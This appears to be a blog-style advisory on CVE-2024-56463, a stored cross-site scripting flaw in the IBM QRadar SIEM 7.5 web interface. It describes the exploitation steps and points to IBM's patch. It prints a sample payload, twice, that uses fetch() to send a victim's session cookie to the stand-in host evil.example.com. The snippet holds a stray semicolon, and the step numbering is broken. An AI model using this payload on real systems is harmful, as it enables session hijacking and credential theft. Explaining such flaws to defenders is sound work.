CVE-2024-56463 is a newly published security vulnerability affecting IBM QRadar SIEM version 7.5. At its core, this is a cross-site scripting (XSS) flaw in the web user interface. XSS flaws can be incredibly dangerous because they allow attackers—sometimes even privileged users already inside the network—to execute arbitrary JavaScript on behalf of other users, potentially stealing credentials or hijacking sessions.

In this article, you'll learn what the vulnerability is, how it can be exploited, see a real code sample, and find references to official advisories. All information here is designed to be clear, step-by-step, and actionable for security engineers and administrators.

What Is IBM QRadar SIEM?

IBM QRadar SIEM is a critical piece of security infrastructure for many organizations. It helps detect and respond to network threats by collecting, normalizing, and analyzing security data. Access to its web UI is strictly controlled, but once inside, users can manage sensitive data and configure security rules.

CVE: CVE-2024-56463

- Impact: Privileged users can inject JavaScript in the web interface, potentially affecting other users.

Risk: Medium to high, depending on environment

According to the IBM security bulletin, a privileged user can inject arbitrary script code into particular forms or fields in the web UI. When another (or even the same) user loads a targeted UI page, the browser executes the attacker’s JavaScript as if it were part of the trusted QRadar app.

The attacker enters malicious JavaScript payload into the field.

4. When this field is displayed in the web UI (to themselves or to another user), the script runs in the victim's browser context.
5. The script can steal cookies, session tokens, or even cause actions to be performed on the victim’s behalf.

Let’s say the attacker finds an unsanitized 'Description' field. Here’s a typical XSS payload

<script>
    // Send victim's session cookie to the attacker's server
    fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

Inserts the above snippet in the description field:

Add Description: <script>fetch('https://evil.example.com/steal?cookie='; + document.cookie);</script>

Saves or submits the form.

5. Whenever the description renders for any user (including an administrator), their browser executes this script, stealthily sending session credentials to the attacker.

The attacker collects stolen session cookies and can hijack other admin sessions.

> Note: This is a simulated example. The real vulnerable field may differ and the actual exploit requires authenticated access.

Mitigations

- Apply IBM security updates: See IBM Security Bulletin for patches and remediation.

Additional References

- IBM Security Bulletin: CVE-2024-56463
- OWASP XSS Prevention Cheat Sheet
- What is Cross-Site Scripting (XSS)? - OWASP

Conclusion

CVE-2024-56463 shows that even trusted, internal users can open the door to damaging attacks in security-critical products like QRadar SIEM. Cross-site scripting is a serious, yet preventable vulnerability. If you run QRadar SIEM 7.5, patch now, and consider reviewing how your team manages privileged access!

> Stay aware—XSS in a security product is like a fox in the henhouse. Secure your SIEM, secure your organization.


*This breakdown is exclusive research. For questions, feel free to comment or contact your security vendor.*

Timeline

Published on: 02/14/2025 17:15:16 UTC
Last modified on: 02/15/2025 01:13:41 UTC